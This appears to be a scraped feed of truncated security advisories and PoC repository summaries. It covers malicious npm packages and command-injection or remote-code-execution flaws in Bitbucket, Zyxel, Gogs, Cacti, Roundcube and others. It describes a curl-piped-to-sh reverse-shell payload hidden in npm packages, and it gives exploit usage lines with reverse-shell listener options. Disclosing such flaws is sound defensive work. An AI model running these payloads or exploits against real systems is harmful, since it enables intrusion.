Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

MAL-2026-17635 Malicious code in internallib_v875 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440 internallibv875 ships an index.js whose exported command function invokes /bin/bash -c with curl piped to sh, fetching a reverse-shell payload from...

CVE-2023-30990

CVE-2023-30990 漏洞利用 详见我们的博客文章：https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ Python 脚本需要 ebcdic 模块：pip install ebcdic DRDA S38CMD 方法 python3 ddm.py "" DRDA SQL 方法 python3 ddm-bypass-test.py "" 使用 S38CMD 方法的简单 bindshell ./exploit.sh...

cve-2022-36804

Atlassian Bitbucket RCE PoC - CVE-2022-36804 此仓库包含 Atlassian Bitbucket 远程代码执行漏洞的简单 PoC 脚本。您可以通过以下命令直接运行此脚本： echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py 或者，您可以从其他工具（如 subfinder、sublist3r 或 go-dork 等）创建目标文件： cat targets.txt | python3 cve-2022-36804.py 参考链接...

CVE-2022-30525

CVE-2022-30525 Zyxel 防火墙未经身份验证的远程命令注入 影响版本 影响组件 USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 固件版本 ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 update -proxy From https://github.com/Henry4E36/CVE-2022-30525 ⚠️ 免责声明...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab PRERREQUISITOS DEL LABORATORIO Aplicación de demostración de: http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA desde el archivo de descargas de JBOSS: https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64...

CVE-2021-42559

CVE-2021-42559：通过 MITRE Caldera 中的配置进行命令注入 Caldera（版本 =2.8.1）包含多个启动“要求”（requirements），这些要求在启动服务器时执行命令。由于这些命令可以通过 Rest API 更改，因此经过身份验证的用户可以插入任意命令，这些命令将在服务器重新启动时执行。 厂商披露： 此漏洞的厂商披露可在此处查看。 要求： 此漏洞需要： 有效的用户凭据 等待 Caldera 应用程序重新启动 概念验证： 更多详情和利用过程可在此PDF中找到。...

CVE-2021-31630

CVE-2021-31630 OpenPLC 3 Web服务器认证远程代码执行。 描述 Open PLC Web服务器 v3 中存在命令注入漏洞，使远程攻击者能够执行任意代码。仅在 HTB Wifinetictwo.htb 机器上测试过。 我发现所有利用该漏洞的脚本都有问题，可能是因为我使用的是 Parrot 或我的浏览器，Chromium 可以用来登录，我在 Firefox 上遇到了登录问题，并且 Web 服务器在处理登录的 POST 请求时出现了一些奇怪的现象。 我修改了 thewhiteh4t 的脚本，其中部分代码（主要是上传方法）是直接复制的，但我修改了从服务器获取 Cookie...

CVE-2024-4577

CVE-2024-4577：PHP CGI 配置中的严重漏洞 PHP 的 CGI 模式存在一个严重的安全漏洞，攻击者可以通过操控 URL 参数来运行任意命令。 受影响版本 Windows 上运行 php-cgi 的 PHP 7.4.29 之前及 8.0.19 之前的版本。 攻击方法 攻击者可以通过向 PHP CGI 脚本发送特制请求来利用此漏洞。这些请求会注入恶意参数，从而允许执行任意命令。这可能导致系统完全沦陷。 使用说明 先决条件 在运行脚本之前，请确保系统中已安装 Python 3。此外，你需要 requests 库来处理 HTTP 请求。 安装依赖 你可以使用 pip...

CVE-2026-105484

A security vulnerability has been detected in TOTOLINK X6000R 9.4.0cu.652B20230116. The impacted element is the function firmwarecheck of the file /cgi-bin/cstecgi.cgi of the component UploadFirmwareFile Handler. Such manipulation of the argument filename leads to os command injection. The attack...

CVE-2026-105487

A vulnerability was found in yogeshojha reNgine up to 2.2.0. Affected by this vulnerability is the function subdomaindiscovery of the file web/reNgine/tasks.py of the component listTargets Endpoint. The manipulation of the argument Name results in os command injection. The attack can be launched...

CVE-2025-69212

CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入 概述 字段| 详情 ---|--- CVE ID| CVE-2025-69212 严重程度| 严重 公告| 查看公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager 版本: file; // $name 来自用户输入！ 攻击流程： 1. 攻击者创建包含恶意文件名的 ZIP 压缩包 2. 通过...

Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution

The Oracle WebLogic Server component of Oracle Fusion Middleware Web Services versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic...

gogs-CVE-2025-8110

Gogs CVE-2025-8110 PoC 此仓库包含 CVE-2025-8110 的概念验证（PoC），该漏洞是 Gogs 中的一个远程代码执行（RCE）漏洞。该漏洞利用内部 SSH 服务器实现，允许攻击者通过 sshCommand 配置注入恶意命令。 使用方法 要运行此漏洞利用，请使用 CVE-2025-8110.py 脚本，并指定目标 Gogs URL 以及您用于反弹 shell 的监听主机/端口。 python3 CVE-2025-8110.py -u -lh -lp 参数 -u, --url：目标 Gogs 实例的基 URL（例如 http://localhost:3000）...

Kaseya VSA 2017 ConnectWise ManagedITSync - Remote Code Execution

ConnectWise ManagedITSync integration through 2017 for Kaseya VSA is vulnerable to unauthenticated remote commands that allow full direct access to the Kaseya VSA database. If the ManagedIT.asmx page is available via the Kaseya VSA web interface, anyone with access to the page is able to run...

Cacti cmd_realtime.php - Command Injection

Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when registerargcargv option of PHP is On. In cmdrealtime.php line 119, the $pollerid used ...

Progress Kemp LoadMaster - Command Injection

Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution. id: CVE-2024-1212 info: name: Progress Kemp LoadMaster - Command Injection author: DhiyaneshDK severity: critical description: | Unauthenticated remote...

Razer Sila Gaming Router - Remote Code Execution

A command injection in the command parameter of Razer Sila Gaming Router v2.0.441api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request. id: CVE-2022-29013 info: name: Razer Sila Gaming Router - Remote Code Execution author: DhiyaneshDK severity: critical descriptio...

Roundcube Webmail - Command Injection

Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for imconvertpath or imidentifypath, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings. id: CVE-2020-12641 info: name: Roundcube...